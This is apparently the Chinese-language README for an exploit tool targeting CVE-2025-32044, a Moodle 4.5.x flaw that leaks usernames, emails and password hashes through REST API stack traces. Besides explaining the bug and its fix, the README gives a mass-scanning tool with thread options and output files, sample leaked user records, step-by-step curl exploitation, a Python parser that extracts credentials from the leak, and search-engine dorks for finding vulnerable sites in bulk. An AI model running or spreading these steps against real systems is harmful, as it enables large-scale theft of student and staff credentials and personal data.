CVE-2025-32044 是一个高严重性(CVSS 7.5)的 未经验证 信息泄露漏洞,存在于 Moodle LMS 4.5.0 至 4.5.2 中。
该漏洞位于 Moodle 的 REST API 异常处理器中 —— lib/classes/router/response/exception_response.php 的 exception_response::get_payload_data()。在修复之前,PHP 堆栈跟踪(包含函数参数)被包含在 API 错误响应中。这些参数包含了通过调用栈传递的敏感用户数据 —— 包括用户名、全名、电子邮件地址和密码哈希。
无需身份验证、令牌或用户交互 即可触发泄露。攻击者只需向任何 REST API 端点发送一个导致内部异常的畸形请求。
| Moodle 版本 | 状态 |
|---|---|
| 4.5.0 – 4.5.2 | 受影响 |
| 4.5.3+ | 已修复 |
| < 4.5.0 | 不受影响 |
所有设置 zend.exception_ignore_args = On 的版本 | 不受影响 |
发现者: Lucas Alonso(2025年3月14日)
Moodle 跟踪器: MDL-84879
安全公告: MSA-25-0011
// lib/classes/router/response/exception_response.php (修复前)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← 包含了 'args'!
];
return $data;
}
当 REST API 处理过程中发生异常时,PHP 堆栈跟踪会包含调用栈中每一帧的函数参数args。这些参数无意中包含了正在被调用链中更高层函数处理的用户表数据。
// lib/classes/router/response/exception_response.php (修复后)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
同时在 lib/setup.php 中增加了纵深防御:
ini_set('zend.exception_ignore_args', '1');
1. 锁定未设置 zend.exception_ignore_args 的 Moodle 4.5.0-4.5.2
2. 向 /webservice/rest/server.php 发送畸形请求
(例如,缺少必需参数的 core_user_get_users_by_field)
3. 在用户数据处理过程中触发内部异常
4. API 错误响应中包含带有 'args' 的堆栈跟踪
5. 解析 args 获取用户名、电子邮件、哈希
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# 单个目标扫描
python cve_2025_32044.py -t moodle.target.com
# 批量扫描
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# 批量扫描(更多线程)
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# 调试模式
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target 单个目标(域名或IP)
-f, --file 目标列表,每行一个
-o, --output 保存泄露的用户数据到文件
--threads 并发工作线程数(默认:30)
--timeout 请求超时秒数(默认:10)
--debug 显示每次HTTP请求
-v, --verbose 详细输出
$ python cve_2025_32044.py -t moodle-target.com
Moodle 堆栈跟踪泄露 | CVE-2025-32044 | CVSS 7.5
主机 : moodle-target.com
Moodle : 是 v4.5.1
WS 启用 : 是
令牌 : 已获取(admin)
═══ 数据已泄露 ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
电子邮件: 3
哈希值: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
耗时 : 3.2s
Moodle 堆栈跟踪泄露 | CVE-2025-32044 | CVSS 7.5
目标数: 500 | 线程数: 30 | 模式: 安静
[泄露] moodle-vuln-01.ac.id 用户=15 电子邮件=12 哈希=15
[WS] moodle-patched-02.edu 令牌=admin
[!] moodle-no-ws-03.org
[150/500] 30% | 检测:87 WS:32 令牌:8 泄露:5
───────────────────────────────────────────────────────
完成 | 320秒 | 目标数:500 Moodle:87 WS:32 令牌:8 泄露:5
步骤1 — 检测Moodle + Web服务
# 检查是否为Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# 检查Web服务
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS已启用 + 可能访客访问
# {"error":"Web services must be enabled..."} = WS已禁用
步骤2 — 获取令牌(如果可能)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
步骤3 — 触发异常并捕获泄露
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# 如果存在漏洞,响应将包含带有args的stacktrace
步骤4 — 解析泄露的数据
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"用户: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
成功利用可获取:
仅用于教育和授权测试目的。
本软件旨在供进行授权渗透测试的安全专业人士、审计自身基础设施的组织以及研究漏洞利用的研究人员使用。
作者对滥用行为不承担任何责任。
本项目与 Moodle Pty Ltd 无关联。
| 字段 | 来源 |
|---|
| 用户名 | user 表 |
| 全名 | firstname + lastname |
| 电子邮件 | email 列 |
| 密码哈希 | bcrypt $2y$ / $2b$ 哈希 |
| 上次登录IP | lastip 列 |
| 用户ID | id 列 |
| 资源 | 链接 |
|---|
| Moodle 安全公告 MSA-25-0011 | moodle.org |
| Moodle 跟踪器 MDL-84879 | tracker.moodle.org |
| Git 提交(修复) | github.com/moodle/moodle/commit/41917db65e6b |
| NVD 条目 | CVE-2025-32044 |
| 发现者 | Lucas Alonso |